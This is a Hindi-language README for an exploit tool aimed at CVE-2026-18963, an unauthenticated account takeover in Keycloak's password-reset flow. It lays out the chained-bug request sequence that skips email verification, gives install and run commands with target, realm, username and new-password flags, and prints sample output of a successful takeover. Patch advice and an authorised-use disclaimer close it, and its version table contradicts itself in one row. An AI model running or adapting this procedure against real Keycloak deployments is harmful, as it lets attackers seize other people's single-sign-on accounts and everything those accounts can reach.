
CVE-2026-18963 के लिए एक्सप्लॉइट, जो Keycloak के reset-credentials फ्लो में एक गंभीर बिना प्रमाणीकरण वाला अकाउंट टेकओवर है, जो ईमेल सत्यापन को बायपास करने और नया पासवर्ड सेट करने के लिए दो बग्स को जोड़ता है।
CVSS 9.1 क्रिटिकल · Keycloak 26.0.0 – 26.7.1 · अनधिकृत
Keycloak के reset-credentials फ्लो में एक गंभीर कमजोरी जो एक अनधिकृत हमलावर को ईमेल सत्यापन के बिना किसी भी उपयोगकर्ता खाते पर कब्जा करने की अनुमति देती है, जो प्रमाणीकरण सत्र हैंडलिंग में दो बगों को जोड़कर काम करती है।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-18963 |
| CVSS स्कोर | 9.1 (क्रिटिकल) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — कमजोर पासवर्ड पुनर्प्राप्ति तंत्र |
| प्रभावित | Keycloak 26.0.0 – 26.7.1 |
| पैच किया गया | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| घटक | keycloak-services (reset-credentials फ्लो) |
| संदर्भ | https://github.com/keycloak/keycloak/issues/51833 |
दो बग जोड़े गए हैं:
बग 1 — tryAnotherWay हैंडलर नोट को स्टोर करता है
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" ऑथ सत्र में बिना किसी निष्पादन ID से स्कोप किए।
बग 2 — ResetCredentialEmail.action() जब भी वह नोट मौजूद होता है तो context.success() को कॉल करता है (ईमेल सत्यापन को पूरी तरह से छोड़ते हुए), बिना ACTION_TOKEN_USER_ID की जाँच किए।
1. GET /realms/{realm}/protocol/openid-connect/auth
→ OIDC सत्र स्थापित करें, forgot-password लिंक निकालें
2. GET /login-actions/reset-credentials?...
→ reset-credentials फॉर्म लोड करें
3. POST tryAnotherWay=on
→ AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED नोट सेट करता है (बग 1)
4. POST username={target} → सेलेक्टर फॉर्म
→ लक्षित उपयोगकर्ता को ऑथ सत्र से बांधता है, ईमेल चरण ट्रिगर करता है
5. GET /login-actions/restart?...
→ वैकल्पिक: ब्राउज़र सत्र पोलिंग को मिरर करें
6. GET /login-actions/reset-credentials?... (चरण 2 के समान URL)
→ पुराना सेलेक्टर नोट अभी भी मौजूद है → क्रेडेंशियल सेलेक्टर फिर से प्रकट होता है
7. POST username={target} → पुराना सेलेक्टर
→ ResetCredentialEmail नोट देखता है, context.success() कॉल करता है (बग 2)
→ फ्लो सीधे UPDATE_PASSWORD पर आगे बढ़ता है — कोई ईमेल नहीं भेजा जाता
8. POST password-new={attacker_password}
→ खाता अधिग्रहित
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url Keycloak बेस URL (आवश्यक)
--realm लक्षित realm (डिफ़ॉल्ट: master)
--username अधिग्रहण करने के लिए खाते का उपयोगकर्ता नाम या ईमेल (आवश्यक)
--new-password लक्षित खाते पर सेट करने के लिए पासवर्ड (आवश्यक)
--client-id OIDC क्लाइंट ID (डिफ़ॉल्ट: account)
--auth-prefix auto | new | old
auto = स्वचालित रूप से पता लगाएं (डिफ़ॉल्ट)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose पूर्ण HTTP ट्रेस प्रिंट करें
--skip-version-check
# पुराने/नए Keycloak URL उपसर्ग का स्वचालित पता लगाना
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# लीगेसी /auth/ उपसर्ग को बलपूर्वक लागू करें (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# वर्बोज़ HTTP ट्रेस
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak अनधिकृत खाता अधिग्रहण
उपयोगकर्ता : [email protected]
[चरण 0] संस्करण और पथ उपसर्ग का पता लगाना
[+] पथ उपसर्ग: '/auth' → पता चला
[?] संस्करण का पता नहीं चला — फिर भी आगे बढ़ रहे हैं।
लक्ष्य : https://sso.example.com/auth/realms/myrealm
[चरण 1] OIDC forgot-password लिंक के माध्यम से reset-credentials फॉर्म खोलें
[+] OIDC सत्र स्थापित
[+] Reset-credentials फॉर्म लोड हुआ
[चरण 2] POST tryAnotherWay=on → सेलेक्टर नोट सेट करें (बग 1)
[+] क्रेडेंशियल सेलेक्टर फॉर्म प्राप्त हुआ
[चरण 3] POST username='[email protected]' → उपयोगकर्ता बांधें, ईमेल चरण ट्रिगर करें
[+] ईमेल चरण ट्रिगर हुआ — सत्र पोलिंग URL मिला
[चरण 4] GET सत्र पोलिंग पथ (वैकल्पिक)
[चरण 5] forgot-password URL पर फिर से जाएं → पुराना सेलेक्टर प्राप्त करें
[+] पुराना क्रेडेंशियल सेलेक्टर फॉर्म प्राप्त हुआ
[चरण 6] पुराने सेलेक्टर पर POST username → बायपास ट्रिगर करें (बग 2)
[+] बायपास सफल — update-password फॉर्म प्राप्त हुआ
[चरण 7] नया पासवर्ड सेट करें
============================================================
[+] सफलता — खाता अधिग्रहण पूर्ण
[+] लक्ष्य : https://sso.example.com/auth/realms/myrealm
[+] उपयोगकर्ता : [email protected]
[+] पासवर्ड : Pwn3d2026!
============================================================
| Keycloak संस्करण | URL उपसर्ग | कमजोर |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ यदि 26.x श्रेणी में |
| ≥ 17.x | /realms/ | ✅ यदि < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | कोई भी | ❌ पैच किया गया |
स्क्रिप्ट स्वचालित रूप से पता लगाती है कि लक्ष्य लीगेसी /auth/ उपसर्ग या आधुनिक पथ का उपयोग करता है, इसलिए यह मैन्युअल कॉन्फ़िगरेशन के बिना पुराने और नए दोनों डिप्लॉयमेंट के खिलाफ काम करती है।
पैच (अनुशंसित): निम्नलिखित फिक्स्ड संस्करणों में से किसी एक में अपग्रेड करें:
26.4.15 या बाद का 26.4.x लाइन में26.6.6 या बाद का 26.6.x लाइन में26.7.2 या बाद का 26.7.x लाइन में26.8.0 या बाद काअस्थायी समाधान: सभी realms पर Forgot Password अक्षम करें:
Realm Settings → Login → Forgot Password → OFF
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। केवल उन सिस्टमों के खिलाफ उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।